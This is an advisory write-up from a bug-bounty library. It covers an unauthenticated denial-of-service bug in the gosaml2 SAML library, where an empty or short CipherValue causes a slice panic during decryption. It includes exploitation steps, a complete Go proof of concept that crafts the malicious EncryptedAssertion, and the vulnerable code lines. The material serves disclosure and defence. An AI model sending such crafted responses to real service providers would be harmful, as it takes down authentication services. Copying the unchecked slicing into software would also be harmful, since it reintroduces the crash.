# gosaml2: Unauthenticated panic decrypting an EncryptedAssertion with a short or empty CipherValue

gosaml2 slices AES-GCM/CBC ciphertext without length checks, so an EncryptedAssertion with a short or empty CipherValue panics the SP before validation.

- Payout: Research
- Severity: high
- Program: gosaml2
- Found by: kq5y, ericchiang
- Disclosed: 2026-11-19
- CVE: CVE-2026-128073
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5hj8-q7fv-qrj6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5hj8-q7fv-qrj6
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:go tech:saml technique:incomplete-fix technique:source-review vuln:dos vuln:memory-corruption

**Target:** SAML service provider library (EncryptedAssertion decryption)
**Root cause:** DecryptBytes slices the decoded CipherValue into nonce/body without verifying len(data) >= NonceSize (GCM); the CBC branch's modulo check passes for empty input since 0%16==0.
**Steps:**
1. Obtain the SP's public certificate (from SAML metadata).
2. Wrap an arbitrary 16-byte symmetric key with RSA-OAEP using that public key.
3. Build a SAML Response with EncryptedAssertion: EncryptionMethod `http://www.w3.org/2009/xmlenc11#aes128-gcm`, EncryptedKey with `rsa-oaep-mgf1p`, and an empty `<xenc:CipherValue></xenc:CipherValue>` for the assertion body.
4. Base64-encode the response and pass it to `sp.ValidateEncodedResponse(encodedResponse)`.
5. Observe `panic: runtime error: slice bounds out of range [:12] with capacity 0` at `nonce, data := data[:c.NonceSize()], data[c.NonceSize():]`.
6. Repeat with AES-CBC and empty CipherValue: `0 % 16 == 0` passes the guard and panics at `nonce, data := data[:k.BlockSize()], data[k.BlockSize():]`.
**How found:** Noticed the CBC branch got a block-size guard in the prior advisory's fix while the GCM branch had no equivalent length check; then re-examined the CBC guard and realized the modulo check is vacuous for empty input.
**Exploitation:** Attacker submits the crafted base64 SAML Response to the SP's ACS endpoint; decryption runs before signature/content validation, the panic is unrecovered and terminates the goroutine/process. No valid IdP relationship or signature needed.
**Insight:** When a prior fix adds a length guard to one cipher-mode branch, audit sibling branches for the same slice pattern; and check whether modulo-based guards are vacuous for zero-length input (0 % n == 0).

## Proof of concept (copied exactly from the original report)

**Go PoC crafting empty CipherValue EncryptedAssertion**

```
package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/sha1"
	"crypto/tls"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/base64"
	"fmt"
	"math/big"
	"os"
	"time"

	saml2 "github.com/russellhaering/gosaml2"
	dsig "github.com/russellhaering/goxmldsig"
)

func main() {
	// Generate a throwaway SP key pair.
	key, _ := rsa.GenerateKey(rand.Reader, 2048)
	tmpl := &x509.Certificate{
		SerialNumber: big.NewInt(1),
		Subject:      pkix.Name{CommonName: "sp.example"},
		NotBefore:    time.Now().Add(-time.Hour),
		NotAfter:     time.Now().Add(time.Hour),
	}
	certDER, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)
	cert := tls.Certificate{
		Certificate: [][]byte{certDER},
		PrivateKey:  key,
	}

	// Wrap an attacker-chosen symmetric key with the SP's public cert.
	symKey := make([]byte, 16)
	wrappedKey, _ := rsa.EncryptOAEP(sha1.New(), rand.Reader, &key.PublicKey, symKey, nil)

	responseXML := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
    xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
    Version="2.0" ID="_id" IssueInstant="2026-03-19T00:00:00Z">
  <saml2:Issuer>issuer.example</saml2:Issuer>
  <saml2p:Status>
    <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </saml2p:Status>
  <saml2:EncryptedAssertion>
    <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
      <xenc:EncryptionMethod Algorithm="http://www.w3.org/2009/xmlenc11#aes128-gcm"/>
      <xenc:CipherData><xenc:CipherValue></xenc:CipherValue></xenc:CipherData>
      <xenc:KeyInfo>
        <xenc:EncryptedKey>
          <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
          <xenc:CipherData><xenc:CipherValue>%s</xenc:CipherValue></xenc:CipherData>
        </xenc:EncryptedKey>
      </xenc:KeyInfo>
    </xenc:EncryptedData>
  </saml2:EncryptedAssertion>
</saml2p:Response>`, base64.StdEncoding.EncodeToString(wrappedKey))

	encodedResponse := base64.StdEncoding.EncodeToString([]byte(responseXML))
	sp := &saml2.SAMLServiceProvider{
		AssertionConsumerServiceURL: "https://sp.example/acs",
		SPKeyStore:                  dsig.TLSCertKeyStore(cert),
	}

	defer func() {
		if r := recover(); r != nil {
			fmt.Printf("panic: %v\n", r)
			os.Exit(0)
		}
		fmt.Println("no panic")
		os.Exit(1)
	}()

	_, err := sp.ValidateEncodedResponse(encodedResponse)
	fmt.Printf("returned err: %v\n", err)
}
```

**Vulnerable GCM nonce slice without length check**

```
nonce, data := data[:c.NonceSize()], data[c.NonceSize():]
```

**CBC modulo guard bypassed by empty CipherValue**

```
if len(data)%k.BlockSize() != 0 {
	return nil, fmt.Errorf(...)
}
nonce, data := data[:k.BlockSize()], data[k.BlockSize():]
```

